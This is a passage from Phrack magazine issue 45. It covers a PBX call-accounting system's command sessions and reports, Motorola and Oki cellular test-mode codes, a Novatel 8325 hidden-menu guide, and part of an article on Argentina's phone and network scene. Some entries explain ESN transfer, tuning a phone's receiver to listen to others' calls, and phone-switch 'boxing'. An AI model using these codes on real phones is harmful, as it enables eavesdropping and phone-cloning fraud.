TRUNK 000 = ,00 TRUNK 001 = 8080,01 TRUNK 002 = 8086,01 TRUNK 003 = 8087,01 TRUNK 004 = ,00 TRUNK 005 = ,00 TRUNK 006 = ,00 TRUNK 007 = ,00 TRUNK 008 = ,00 TRUNK 009 = ,00 TRUNK 010 = ,00 TRUNK 011 = ,00 TRUNK 012 = ,00 TRUNK 013 = ,00 TRUNK 014 = ,00 TRUNK 015 = ,00 TRUNK 016 = 80001,01 TRUNK 017 = 80002,01 TRUNK 018 = 80003,01 TRUNK 019 = 80004,01 TRUNK 020 = 80005,01 TRUNK 021 = 80006,01 TRUNK 022 = 80007,01 TRUNK 023 = 80008,01 TRUNK 024 = 80009,01 TRUNK 025 = 80010,01 TRUNK 026 = 80011,01 TRUNK 027 = 80012,01 TRUNK 028 = 80013,01 TRUNK 029 = 80014,01 TRUNK 030 = 80015,01 TRUNK 031 = 80016,01 TRUNK 032 = 86001,01 TRUNK 033 = 86003,01 TRUNK 034 = 87001,01 TRUNK 035 = 87002,01 TRUNK 036 = 84002,01 TRUNK 037 = 95001,01 TRUNK 038 = ,00 TRUNK 039 = ,00 TRUNK 040 = ,00

<‑CTRL Z‑>

COMMAND ?15

CLEAR CALL RECORDS ‑ ARE YOU SURE ? Y END DATE NOT FOUND ‑‑ CLEAR ALL ??<‑CTRL Z‑> << Nice command!.. 50 is a macro using command 15 with a Y piped into it >> OK

51

<‑CTRL Z‑>]

<‑CTRL Z‑>

COMMAND ?54

AREA CODE SORT

SUMMARY OF AREA CODES

REPORT PERIOD PAGE 1

09/01/92 ‑ 09/05/92 09/05/92 9:15A

AREA TOTAL TOTAL AVG TIME AVERAGE TOTAL CODE TIME CALLS PER CALL COST COST

‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑

*** 357 139 2.5 $ .52 $ 72.89 212 24 8 3.0 $ .84 $ 6.75 215 1 1 1.0 $ .46 $ 0.46 216 4 1 4.0 $ .92 $ 0.92 303 6 3 2.0 $ .58 $ 1.75 305 3 2 1.5 $ .38 $ 0.77 404 4 2 2.0 $ .69 $ 1.38 504 3 2 1.5 $ .46 $ 0.92 508 5 4 1.2 $ .37 $ 1.50 513 11 2 5.5 $ .80 $ 1.61 516 19 4 4.7 $ 1.18 $ 4.75 606 11 1 11.0 $ 2.53 $ 2.53 612 1 1 1.0 $ .50 $ 0.50 615 5 1 5.0 $ 1.15 $ 1.15 703 9 1 9.0 $ 2.30 $ 2.30 708 9 3 3.0 $ 1.00 $ 3.00 800 371 109 3.4 $ .00 $ 0.00 813 96 21 4.5 $ 1.11 $ 23.49 818 1 1 1.0 $ .50 $ 0.50 904 93 19 4.8 $ 1.21 $ 23.06 912 64 1 64.0 $ 14.72 $ 14.72

‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑

TOTAL 1097 326 3.3 $ .50 $ 164.95

<‑CTRL Z‑>

COMMAND ?55

EXCEPTION REPORTS

REPORT OF MOST EXPENSIVE CALLS

REPORT PERIOD PAGE 1

09/01/92 ‑ 09/05/92 09/05/92 9:16A

EXTEN‑ TRUNK NUMBER DURATION SION USED DIALED DATE TIME MINUTES COST

‑‑‑‑‑‑ ‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑

246 80012 (912)354‑2813 09/01/92 2:33P 63.5 $ 14.72 316 87001 (813)299‑2068 09/03/92 4:16P 36.9 $ 8.19 248 87002 ( )863‑5701 09/03/92 11:28A 21.5 $ 4.89 261 87002 (904)677‑1235 09/03/92 2:20P 15.3 $ 3.72 261 87002 (904)677‑1235 09/01/92 3:36P 13.1 $ 3.26 255 87001 (813)293‑4319 09/04/92 9:36A 13.6 $ 3.13 270 87002 ( )649‑4966 09/04/92 11:32A 14.3 $ 2.85 261 87001 ( )660‑5567 09/01/92 10:16A 14.8 $ 2.85 200 87002 (904)599‑1543 09/03/92 3:27P 11.2 $ 2.80 266 80009 (516)785‑1200 09/03/92 3:32P 10.5 $ 2.75 261 87001 ( )660‑5525 09/04/92 12:48P 13.2 $ 2.66 268 80014 (606)282‑7223 09/03/92 11:00A 10.9 $ 2.53 246 87002 (904)677‑2551 09/03/92 3:05P 9.7 $ 2.34 261 80010 (703)845‑1400 09/01/92 9:23A 9.1 $ 2.30 316 87002 ( )290‑1030 09/02/92 3:04P 11.8 $ 2.28 246 87002 (904)677‑6774 09/01/92 2:20P 8.5 $ 2.11 316 87001 ( )290‑1030 09/03/92 2:58P 10.5 $ 2.09 316 87001 ( )290‑1030 09/02/92 8:56A 9.6 $ 1.90 316 80004 (212)605‑8586 09/02/92 1:58P 6.9 $ 1.75 270 80001 (513)568‑4933 09/03/92 9:15A 7.0 $ 1.61

REPORT OF LONGEST CALLS

REPORT PERIOD PAGE 1

09/01/92 ‑ 09/05/92 09/05/92 9:16A

EXTEN‑ TRUNK NUMBER DURATION SION USED DIALED DATE TIME MINUTES COST

‑‑‑‑‑‑ ‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑

246 80012 (912)354‑2813 09/01/92 2:33P 63.5 $ 14.72 316 87001 (813)299‑2068 09/03/92 4:16P 36.9 $ 8.19 261 80001 (800)727‑5663 09/04/92 2:06P 25.8 $ .00 248 87002 ( )863‑5701 09/03/92 11:28A 21.5 $ 4.89 261 87002 (904)677‑1235 09/03/92 2:20P 15.3 $ 3.72 261 87001 ( )660‑5567 09/01/92 10:16A 14.8 $ 2.85 270 87002 ( )649‑4966 09/04/92 11:32A 14.3 $ 2.85 255 87001 (813)293‑4319 09/04/92 9:36A 13.6 $ 3.13 261 87001 ( )660‑5525 09/04/92 12:48P 13.2 $ 2.66 261 87002 (904)677‑1235 09/01/92 3:36P 13.1 $ 3.26 260 80003 (800)999‑4441 09/03/92 11:49A 12.9 $ .00 270 80010 (800)342‑3763 09/02/92 3:32P 12.5 $ .00 316 87002 ( )290‑1030 09/02/92 3:04P 11.8 $ 2.28 252 80015 (800)944‑1535 09/04/92 9:00A 11.5 $ .00 252 80008 (800)944‑1535 09/02/92 11:07A 11.5 $ .00 200 87002 (904)599‑1543 09/03/92 3:27P 11.2 $ 2.80 315 80009 (800)622‑4448 09/02/92 10:33A 11.2 $ .00 268 80014 (606)282‑7223 09/03/92 11:00A 10.9 $ 2.53 315 80011 (800)622‑4448 09/02/92 3:35P 10.8 $ .00 264 80012 (800)527‑2274 09/03/92 3:12P 10.7 $ .00

REPORT OF MOST FREQUENT NUMBERS

REPORT PERIOD PAGE 1

09/01/92 ‑ 09/05/92 09/05/92 9:16A

NUMBER TOTAL TOTAL AVRG TOTAL DIALED CALLS TIME DRTN COST

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑

( )290‑1030 53 131 2.4 $ 27.91 (800)944‑1535 37 121 3.2 $ 0.00 (800)812‑5386 15 15 1.0 $ 0.00 ( )411‑0000 13 13 1.0 $ 0.00 ( )660‑5525 13 36 2.7 $ 7.98 (813)293‑4319 11 38 3.4 $ 9.35 (904)677‑1235 9 46 5.1 $ 11.43 (800)622‑4448 8 45 5.6 $ 0.00 ( )660‑5524 5 11 2.2 $ 2.02 ( )295‑9119 5 11 2.2 $ 2.28 ( )660‑5528 5 13 2.6 $ 2.47 (516)785‑1200 4 19 4.7 $ 4.75 (800)342‑3064 4 4 1.0 $ 0.00 (800)888‑6823 4 16 4.0 $ 0.00 ( )660‑5543 4 4 1.0 $ 1.14 (508)960‑6186 4 5 1.2 $ 1.50 (800)526‑4371 3 6 2.0 $ 0.00 ( )863‑5701 3 32 10.6 $ 7.19 (212)708‑1728 3 10 3.3 $ 2.75 (303)586‑2030 3 6 2.0 $ 1.75

<‑CTRL Z‑>

COMMAND ?65

MCX‑7700/PC V4.0.5 1189

EB4B E46D 1265 0101

<‑CTRL Z‑>

COMMAND ?10

SYSTEM PARAMETERS MENU

PRINTER = 1

PABX = 2

REPORT = 3

OPTIONS = 4

SELECT FUNCTION : 2

ACCOUNTS ‑‑‑‑‑‑TRUNKS‑‑‑‑‑‑ EXT ACCESS TOLL

SIZE NO. NO. '‑' GRP EQP SIZE ABS COST DIG

04 1024 040 N 2 3 3 Y N 1

‑+++ FUNCTION CANCELED +++

<‑CTRL Z‑>

COMMAND ?10

SYSTEM PARAMETERS MENU

PRINTER = 1

PABX = 2

REPORT = 3

OPTIONS = 4

SELECT FUNCTION : 3

CALL ‑‑‑‑DROP OR REJECT‑‑‑ AUTO TO‑ LIST

GRACE LOC ACT INC TRK EXT PRD DAY NULL

05 N N N N N 0 Y N

‑+++ FUNCTION CANCELED +++

<‑CTRL Z‑>

COMMAND ?10

SYSTEM PARAMETERS MENU

PRINTER = 1

PABX = 2

REPORT = 3

OPTIONS = 4

SELECT FUNCTION : 4

SER PC ZERO

IAL PORT OPR

Y Y Y

‑+++ FUNCTION CANCELED +++

<‑CTRL Z‑>

COMMAND ?00 <<00 terminate programming>>

****************************************

<><><><><><><><><><><><><><><><><><><><>

Ending notes:

‑‑‑‑‑‑‑‑‑‑‑‑‑

I've had this system laying around for the past 2 years and never gave a flying fuck about it, yet when I find new systems I am unfamiliar with I always wonder why the hell no one writes a phile on 'em to pass on the knowledge.

Anyway, to all who have hacked not‑so‑well‑known systems, or even something you consider lame, WRITE A PHILE ON IT!! If enough people start doing this, a newz letter could be started.. call it LSD (Lame Systemz Digest) or something. Woa, what a concept!

++++++ Quantula Sapientia Regitur Mundus ! ++++++ (What little wisdom is shown in the government of the world)

Greetz 2:

‑‑‑‑‑‑‑‑‑

Kaleidox, Garbage Heap & P/S, Night Ranger, Con Artist, Green Hell, Maldoror (The OLD Hannibal), Citizen‑One, Speed Demon, The Pyrotechnic, Knight Lightning, King Cobra, Death Wish, Shadow Runner, Axiom Codex, Phunatic Phreak, and all the other K‑rad people I forgot to mention.

<><><><><><><><><><><><><><><><><><><><>

Cellular Debug Mode Commands

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 26 of 28

****************************************

Cellular Debug Mode Commands

**************************************

Motorola test mode programing codes

for most motorola phones

**************************************

01# Restart (re‑enter DC power start‑up

routine)

02# Display Current Telephone Status

04# Initializes Telephone to Std.

Default Conditions

05# TX Carrier On (key transmitter)

06# TX Carrier Off

07# RX Off (mute receiver audio)

08# RX Audio On (unmute receiver audio)

09# TX Audio Off

10# TX Audio On

11(ch.no.)# Set Transceiver to channel

(RX & TX)

12# Set power level

13# Power Off

14# 10 khz Signalling Tone On

15# 10 khz Signalling Tone Off

16# Setup (Transmits a five word RECC

message)

17# Voice (Transmits a two word REVC

message)

18# C‑SCAN

19# Display Software Version Number

(year & week)

25# SAT On

26# SAT Off

27# Transmit Data (TX continuous

control channel data)

32# Clear (clears non‑volatile memory)

33# Turn DTMF on

34# Turn DTMF off

35# Display RSSI ("D" series portable

only)

35# Set Audio path

38# Display ESN (displays ESN in four

steps, hit * till back at start)

39# Compander On

41# Enables Diversity

42#,43#,44# Disable Diversity

(different models use different

codez)

45# Display Current RSSI

46# Display Cumulative Call Timer

47# Set Audio level

48# Side Tone On

49# Side Tone Off

55# Display and or program NAM (test

mode programing)

58# Compander On

59# Compander Off

61# ESN Transfer (for series I and Mini

T.A.C's)

62# Turn On Ringer

63# Turn Off Ringer

66# Identity Transfer (series II and

some current portables)

68# Display FLEX and Model info

69# Used with Identity Transfer

***************************************

***************************************

1. Entering test mode on 25 pin

transceivers is as follows:

for F19ATA or F19CTA ground pin 11

and power‑up phone,

for DMT/Mini T.A.C series I, II,

III ground pin 21 and power‑up

phone.

2. Entering test mode on OEM 32 pin

transceivers is as follows:

ground pin 9 and power‑up phone.

3. Entering test mode on portable

phones is as follows:

ground pin 6 and power‑up phone.

4. Entering test mode on Micro T.A.C's

phones is as follows:

ground pin 2 and power‑up phone.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Oki Debug Commands ‑ Good Timing

From Nuts & Volts Dec. 1993

To Enter Debug Mode:

Press 7 & 9 Together

then press MENU, SEND, END, RCL, STO and CLR

then press 1 & 3 together

Commands:

#01 Suspend Performs Initialization

#02 Restart Terminates the test mode

#03 Status Shows the current status of TRU

#04 Reset Resets the timer

#07 Carrier On Turns the carrier on

#08 Carrier Off Turns off the carrier

#09XXXX Load Synth Sets the synthesizer to channel XXXX

#10X Set Attn Sets the RF power attenuation to X

#11 RX Mute Mutes the receive audio

#12 RX Unmute Unmute the receive audio

#13 TX Mute Mutes the transmit audio

#14 TX Unmute Unmutes the transmit audio

#16 ST On Transmits a signalling tone

#17 ST Off Turns off the signalling tone

#18 Setup Transmits a 5 word RCC message

#19 Voice Transmits a 2 word RVC message

#20 Rcv SU Receives a 2 word FCC message

#21 Rcv VC Receives a 1 word FVC message

#22 Send NAM Returns the information contained in the NAM #23 Version Displays the TRU software version

#24 Send SN Displays the ESN

#25XXXX Mem Displays the resident memory data at XXXX #28 WSTS Receive 1 word messages on CC until #56/CLR #29 WSTV Receive 1 word messages on VC until #56/CLR #32X SAT On Enables the transmission of SAT X

#33 SAT Off Disables the transmission of SAT

#35 Hi TN On Activates the 1150 Hz tone to receive audio line #36 Hi TN Off Deactivates the 1150 Hz tone

#37 Lo TN On Activates the 770 Hz tone to receive audio line #38 Lo TN Off Deactivates the 770 Hz tone

#42XX DTMF On Enables the transmission of DTMF frequency XX #43 DTMF Off Disables the transmission of DTMF

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Novatel 8325

‑‑‑‑‑‑‑‑‑‑‑‑

This article is copyright 1993 by the author. Reproduction is allowed, with the following restrictions:

1) Any copy, or edited version, of this file must contain this copyright notice, the author's name, and the information regarding Phrack. 2) No commercial use may be made of it without prior permission of the author. This permission may be revoked at any time, in which case all reproduction must cease, and any copies must be destroyed.

3) Use as evidence in a court of law, for the purposes of this agreement, is considered a commercial use.

4) This agreement can not be changed, or added to in any way. Receipt of this work through an authorized commercial distributor does not imply permission given to the commercial consumer to re‑distribute it in a commercial manner. 5) Any part of this agreement found invalid by a court of law does not render the remainder of this agreement void: The rest of the terms of the agreement must still be adhered to.

The Novatel 8325 is a bag‑style portable cellular telephone. It is known as a 'ProClassic' in Novatel MarketSpeak. Two different handsets (control units) are used with the 8325 transceiver: the 4130 and 5160. My phone has the 5160. The handsets appear very similar: I doubt there is any functional difference between them. Earlier transceivers, such as the 8320, contain many of the same features as the 8325, though the hidden menus are accessed with different codes. The only other code I know of is #746, which is the code for the 8320 CFG menu.

Terms: Throughout this article, I will refer to things without explaining them each time. If you get lost, refer to the table below.

NORMAL = the phone is in this mode when it is not locked, or in either of the hidden menus, or in the 'user' menus accessed by the MENU key. The screen will display either READY or SCANNING when in normal mode. This is the mode the phone is in when it is first turned on.

LOCKED = when the phone displays LOCKED, a code must be typed to enter normal mode. The default code is 1234. The telephone can be locked using [FCN] 1 [SND] from normal mode. The phone must be locked before entering in any of the codes to access the hidden menus described below.

TBL = troubleshooting mode = the hidden menu accessed with 546*. This is a menu supposedly know only to Novatel, not even their dealers are supposed to know about it. According to Novatel, some of the features in this menu could destroy the phone if improperly set. Scare tactics? You decide.

CFG = configuration mode = the hidden menu accessed with 510*. This is used by dealers to set up a subscriber's service. As far as I know, there is nothing particularly dangerous about this mode, but Novatel is touchy about it nonetheless. I take no responsibility for any damages.

Troubleshooting Mode ‑ TBL

First, lock phone with [FCN] 1 [SND]

Then, enter 546* on the keypad. The phone

will not make tones for each key pressed.

TBL 8325 /___ This is what shows up on my phone.

REV NA0C \ Yours may be different.

You are now in troubleshooting mode. You may page through the functions by using the arrow keys, or access the functions by number, by hitting # (The screen will display DIR PAGE ACCESS) and then the function number, from the chart below. Note that on initially entering Troubleshooting mode, you are on function 37. Toggle with the [SND] key, unless otherwise noted.

# Screen Default Toggle/Range Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

11 TRANSMIT OFF ON Turn the transmitter on.

12 TX TEST OFF [CLR]=OFF, 0‑7 test data stream, audio levels of 13 CHANNEL 0000 0000‑1023 [H/F] = down, [RCL] = up. 14 TX AUDIO OFF ON

15 VOLUME GAIN 6 0‑7

16 RX AUDIO OFF ON Turn the receiver on. Set this to ON

and use in conjunction with #13

(CHANNEL) to listen to calls.

17 POWER ATTN 3 0‑7

18 SYNTH LOCKED synthesizer locked. if reads

unlocked, the phone has real problems.

19 SAT OFF ?? transmitted SAT

20 RF POWER OFF ON Not an option, but an indicator. When

TRANSMIT is set ON, this displays ON.

21 SPEAKER ON OFF

22 SIDE TONE ON OFF

23 TX DTMF OFF Tone test. [CLR] then 00‑25. DTMF means touch‑tone 00 = DTMF 1 01 = DTMF 2 02 = DTMF 3 03 = DTMF A? 04 = DTMF 4 05 = DTMF 5 06 = DTMF 6 07 = DTMF B? 08 = DTMF 7 09 = DTMF 8 10 = DTMF 9 11 = DTMF C? 12 = DTMF * 13 = DTMF 0 14 = DTMF # 15 = DTMF D? 16 = 1+2+3 17 = 4+5+6 18 = 7+8+9 19 = *+0+# 20 = 1+4+7+# 21 = 2+5+8+0 22 = 3+6+9+# 23 = A+B+C+D? 24 = ? 25 = Wake‑up‑tone. The + signs are use to signify keys simultaneously held on a regular (desk‑style) touch‑tone phone. These tones are each half of the dual tones the comprise touch tones.

24 RX MODE BURST CONT

25 RX TEST OFF ON

26 FRME CNT 000000 Frame count. (of counter)

27 BIT ERR 0000000 Bit Error. every so often is no big

deal. Hit any key to clear.

28 WATCHDOG ON OFF watch‑dog periodically checks the

timing of the different clocks

in the system. Hit any key to turn

this off and the Phone re‑starts

29 HOOK SW OFF Hook Switch ‑ since a bag phone has

no switch hook, always off.

30 HORN MODE ON OFF Toggles indicator light 31 BELL MODE 0 0‑9, [SND]

32 RSST 20x Received Signal Strength Indicator 33 MICROPHN ENABLED DISABLED

34 NVM TEST RM=0 E=1 Non‑Volatile Memory Test 35 COMPANDR ON OFF A Compander compresses speech to

confine energy to the given bandwidth.

36 NVM CLR USE SND Non‑Volatile Memory [SND]="ACCESS

DENIED"

37 TBL 8325 REV NA0C MENU,MODEL,REVISION (INITAL SCREEN) ‑‑‑‑‑‑Modulation‑‑‑‑‑‑‑ Don't mess with this stuff ‑ it can screw up your phone N0 means channel bank 0. Banks are 0‑4. Tune to a mid‑band channel using the keypad, and tune with [H/F] down and [RCL] for up.

38 MODG CLR Any Key, 0 = YES resets options #39,#40,#41 to default. 39 CHN 0991 N0 AMG16 AMG = SAD Deviation.

40 CHN 0991 N0 DMG16 DMG = Signalling tone.

41 CHN 0991 N0 SMG12 SMG = Transmit audio level. ‑‑‑‑‑‑Digital Potentiometers‑‑ DANGER! Play with this, and you may have to

send your phone out for repair.

42 DPOT CLR Any Key, 0 = YES resets options #43,#44,#45,#46 to default 43 MICROPHN 14190 OHM

44 EXPANDER 14936 OHM

45 TX LIMIT 12180 OHM

46 SPEAKER 15420 OHM

‑‑‑‑‑‑Analog Switches‑‑‑‑‑‑‑‑ Enables/Disables on‑board potentiometers. 47 ANALOG SW1 ON High end of transmit audio

48 ANALOG SW2 OFF Low end of transmit audio

‑‑‑‑‑

49 PWR LVL3 DAC0777 power level, reading from digital‑analog converter

International Scenes

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 27 of 28

****************************************

International Scenes

There was once a time when hackers were basically isolated. It was almost unheard of to run into hackers from countries other than the United States. Then in the mid 1980's thanks largely to the existence of chat systems accessible through X.25 networks like Altger, tchh and QSD, hackers world‑wide began to run into each other. They began to talk, trade information, and learn from each other. Separate and diverse subcultures began to merge into one collective scene and has brought us the hacking subculture we know today. A subculture that knows no borders, one whose denizens share the common goal of liberating information from its corporate shackles.

With the incredible proliferation of the Internet around the globe, this group is growing by leaps and bounds. With this in mind, we want to help further unite the communities in various countries by shedding light onto the hacking scenes that exist there. If you want to contribute a file about the hacking scene in your country, please send it to us at phrack@well.com.

This month we have files about the scenes in Argentina, Australia and Greece.

________________________________________

Argentina: Hacking at the ass of the world

~~~~~~~~~~~~~~~~~~~~~~~~

by: OPii.

Yeah, i know, it's something you just can't stop, whenever you try to sleep that recurrent idea comes and recurses through your very brain, you are blind, it happens to be worse than MTV, you just can't get to sleep, you stay up for hours, you forget to feed yourself, you can't even remember your name, you turn catatonic, you stand still stretching every nerve and mumbling "hhmmpff..sc.eenn...arghh..teennn..ahhh..." and then you explode in a terrifying scream...

"ARRRGHHHHHH, WHAT THE FUCK IS GOING ON IN ARGENTINA??????"

Right?

NO????

Well, I never really thought that could happened but I'm gonna answer the question anyway, I know you probably don't give a fuck about Argentina and it's scene but, hey, reading shitty text files is not new to you so you wanna change your habits RIGHT NOW? Nahhhhhhhh

Introduction

~~~~~~~~~~~~

Ok, enough is enough, so let's get to the point.

Argentina is lagging. While other countries are flying toward the hyper publicized "Data Highway", Argentina is still trying to fork it's path in the telecommunication's jungle. And this has it's pros and cons.

Before 1990 the telecommunications in Argentina were in hands of Entel, the government's monopolistic arm that ruled the area. But, and there's always a BUT, the service provided by Entel was worse than bad. For too many people it was normal to wait YEARS for a line, paying $1000+ when they finally got it installed, and then a never‑ending nightmare began, if it rained, the line went dead, if it didn't die it went crazy, you could pick up the phone and listen to your favorite radio station but of course you could not call anyone. Or you could had bizarre conferences with persons you'd never met...it was basically POTS but with features that Entel never thought about... N‑way calling, call forwarding to hell, continuous call waiting in the form of line noise, speed dialing to always busy DNs...

Ahh, you could get a line in less than a month if you paid the $1000 to some bogus vapor‑companies whose workers would came pulling loops out of their sleeves and installing them quietly (yeah, all completely illegal), these companies were known as the phone mob.

Remember, Entel was the ONLY company entitled to give you not only a phone line but the phone itself.

And the bills... the bills always had an encrypted message in them, you needed a PhD in Black Magic in order to decipher what the fuck the telco was charging you... but for most mortals the meaning was only one: PAY, pay whatever we order you to pay, and don't ask why.

You made only local calls? PAY! (local calls are not free in Argentina) You didn't make that call to Nairobi, Kenya? PAY!

Ohh, but you cant dial outside the country with your line? PAY ANYWAY! You want to complain? PAY FIRST!

In 1990 the government decided to split Entel in two companies and sell them to private investors, each company would service either the northern or southern Argentina, the border being Buenos Aires' downtown (in case you don't know Buenos Aires is the capital of Argentina).

This was nothing more than giving the monopolistic Entel to two new monopolistic companies as we will see.

So the government sold Entel and two new companies appeared in Argentina's communications scene:

‑ Telefonica de Argentina. Servicing the southern part of Argentina, this company is formed by the Spanish Telefonica de Espaa (owned by Spanish gov.) and several Argentinian and foreign investors.

‑ Telecom Argentina. Services the northern Argentina and it's major stockholders are France Telecom and STET (Italy).

Also, another two companies where born:

‑ Telintar. Owned by Telefonica and Telecom. The ONE AND ONLY LD carrier in Argentina.

‑ Startel. Guess who owns it? Yeah, Telefonica and Telecom, with some philanthropic aides like Citicorp, J.P. Morgan and Techint and Perez Companc ( Argentinian megacorps). Startel provides TELEX and data transmission services as well as mobile and sea radio links. It runs the most known Argentinian X.25 PSN (ARPAC).

The government however had to assure minimal control of the companies and verify that their procedures and actions conform to the Argentinian laws. That's the duty of the SNC (National Communications Secretary) and the CNT ( National Telecommunications Commission), the last being some sort of mirror image of the American FCC.

Did anything changed with the appearance of Telefonica and Telecom? Did the customers noticed an improvement in the phone service?

Both companies began to "correct" Entel's mess rapidly but personally I consider it was a little more than nothing for the customer. They did change loops, trunks, switches, added features, installed inter‑office fiber links, private PSNs and more. But, it's 1994 now, and I still know zillions of persons that had their line dead for 4‑5 months, or have been visiting the telco offices everyday during a month complaining about line_noise/no_dial_tone/ dial_tone_but_no_dialing/cant_receive_calls/cant_dial_certain_NPAs/ bills_are_way_out_of_scope/etc.

To conclude this section I will only say that:

1). There's still a telecom. monopoly in Argentina, now in the form of two private companies.

2). Service got better but it's still a mess, dirty and expensive. 3). Both companies enjoyed an explosive economic grow since 1990, their shares being one of the best things you could get a hold of in the stock exchange.

The Phony Phone System

~~~~~~~~~~~~~~~~~~~~~~

Argentina uses pulse dialing, except for those lucky persons that have the latest installed switches in their COs. If you don't have DTMF you HAVE TO ask for it, you can do this dialing 112 (Telecom) or visiting the office (Telefonica and/or Telecom). Someone will eventually listen to you and answer:

1) "Uh???? What's DTMF?" ‑ Forget it, ever considered teaching algebra

to a chimpanzee?

2) "I'm sorry you can't dial MF with that line" ‑ No luck 3) "Not a problem, we'll set it for MF" ‑ You bastard!

Switches are Step by Step or Crossbars but since 1990 the number of electronic, and specially, digital switches has increased constantly. Both, Telecom and Telefonica, use equipment from many different vendors: Siemmens, Ericsson, Hitachi, Fujitsu, Northern Telecom, AT&T, Alcatel, NEC, Spanish companies, Italians, Norwegians, and God only knows what else. Most switches are either European or Japanesse.

As for PBXs, Siemmens, Ericsson and Fujitsu are the brands of choice for most companies, with the recent grow of NT's Meridians among large corporations.

DNs are 7 digits but still 6 digits in low line density locations, this includes certain areas in Buenos Aires, the capital. Generally, 6 digit DNs can't complete an international call for themselves, they need operator assistance ( DDI is the "feature" that allows a subscriber to make international calls without operator's assistance, geez). Other features offered are 3‑way, conference, call forwarding, call waiting (can't be fucking disabled temporarily!) and more. Telecom also offers a service called "Factel" which is a detailed list of all the calls you made in a billing period (2 months), this comes with your bills and they charge you for EACH PAGE.

LOCAL CALLS ARE *NOT* FREE.

Toll free numbers (800) where introduced two years ago but so far there are few 800s to call, one of the few is the CNT's 800 for reception of complains about the telco's service.

Both Telefonica and Telecom use Frecuency Division Multiplexing (FDM) or Time Division Multiplexing (TDM) for grouping channels with a bandwidth of 4KHz into a multiplexed signal, called Base Band, of several channels. Analog and digital multiplexing is used depending on the equipment installed.

The hierarchy of groups is as follows:

‑ Primary Group or Basic Group: 12 4KHz channels for a total bandwidth of 48Khz, generally placed in the 60‑108 KHz space.

There are three ways for forming a Basic Group: Direct Modulation, Pre‑group Modulation or Premodulation, I won't discuss 'em in this article.

‑ Secondary Group (aka Super Group): 5 Primary Groups (PG) for a total of 12x5 = 60 channels and a 240KHz bandwidth., placed in 312‑552KHz band ‑ Master Group (MG): 5 SGs, 60x5 = 300 channels, 1232 Khz. bandwidth ( 5x240Khz + 32Khz.) in the 812‑2044Khz. band

‑ Super Master Group (SMG):

3MGs, 3x300 = 900 channels

3 x 1232Khz + 176 Khz = 3872 KHz bandwidth. (8516‑12388 KHz)

For digital multiplexing, using TDM, things are like this: Pulse amplitude modulation (PAM) is first used to sample the 4Khz channel, then the PAM signal is quantified in 256 discrete values ( 8 bits) and this is finally multiplexed as follows:

‑ A basic 2048 Mbit/s for 30 channels (8Khz/channel for they're sampled...) ‑ 8 Mbit/s = 4x2Mbit/s ( 120 channels)

‑ 34 Mbit/s = 4x8Mbit/s ( 480 channels)

‑ 52 Mbit/s = 6x8Mbit/s ( 720 channels) <‑‑this is not standard) ‑ 140 Mbit/s = 4x34Mbit/s ( 1920 channels)

‑ 565 Mbit/s = 4x140Mbit/s ( 7680 channels)

‑ 900 Mbit/s = 6x140Mbit/s (11.520 channels)

Both DC and AC is used for signalling depending on several characteristics as trunk length, the switch's technology, etc.

Reverse polarity and E and M signalling is used with DC, while DP and MF is used with AC. CCITT #3,CCITT #4 or CCITT #5 is used

on international circuits, otherwise R2 is used.

I won't go into the details of the different in band signalling methods as they are probably well known by you... i'll only point that, as you guessed, things are set for interesting boxing experiences.

Argentina is the place for the casual explorer in this topic, even "Joe customer" could choose alternate routes for his local calls, all by himself, some years ago, prefixing the destination DN with a 3 digit number. There are other interesting things to ponder here, like the way calls from one company's zone to the other company's zone are completed, etc. Also, SxS and Xbar switches are fun to mess with, known their "hidden features" like line freezing, forced ANIF and forced linkage of the circuit to a given CO.

Payphones, known as TPAs in local telco. jargon, comes in different flavors. First, the one that both companies inherited from their predecessor, Entel, this one sports a rotary dial and needs tokens to operate.

Then the obsoleted Telecom's "card puncher", needed a card with a mag strip that the phone would punch each time you used it, these have been replaced by the new Telecom's modular payphone. (Perhaps it was a piece of shit and Telecom replaced them right away??? ). You wont find one of these easily.

Telecom's modular payphone works with cards and wont accept tokens or coins, these have a cute LCD and controls for volume, language selection of the messages displayed as well as buttons for redialing and replacing an exhausted card while a call is in progress. It's uses cards with an 8 contacts on‑card chip.

Telefonica's payphones accept cards AND tokens, they also have a LCD and buttons for volume, redial, etc. They also use cards with 8 contacts on‑card chip. They skipped the "brilliant" card punching stage so these are the phones you'll find in Telefonica's area.

NO PAYPHONE WILL ACCEPT REGULAR CREDIT CARDS.

ONE COMPANY'S PHONE CARD IS INCOMPATIBLE WITH THE OTHER COMPANY'S PHONES. ( this is supposed the change this year? )

Phone cards cant be recharged when they're exhausted.

( eh, this is not quite true )

Telefonica is said to make their payphones accept regular coins any time noooooooowwwwwwww bahahahahahahah .

The Networks

~~~~~~~~~~~~

Networks in Argentina are growing, and are growing fast, but they are still poor and slow when compared to other countries nets.

LAN are usually based on PCs with Novell's Netware in its different flavors or some lousy Lantastic.

As for WANs, the computers you'll ran into are IBM mainframes, DEC VAXes running VMS, and Unixes (generally IBM's RS/6000 w/AIX or lower end PC clones running SCO).

Still, open systems are being happily adopted and TCP/IP based LANs are emerging everyday.

There aren't many systems online 24hrs/day but mostly online during work hours. You'll find most systems unreliable, bad configured, and worse used.

ARPAC, The Jester's Playground

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

ARPAC (DNIC==7222) is the most known PSN in Argentina. It has dialup access in more than 30 cities in the country, although the fastest baud rate for them is an infamous 2400bds. Leased lines go up to a maximum of 19.2Kbds.

The protocol used is the X.25 suite and ARPAC offers the following optional facilities:

‑ Closed User Group. (CUG)

‑ Fast Select.

‑ Packet size negotiation.

‑ One‑way logical channels. (outgoing/incoming).

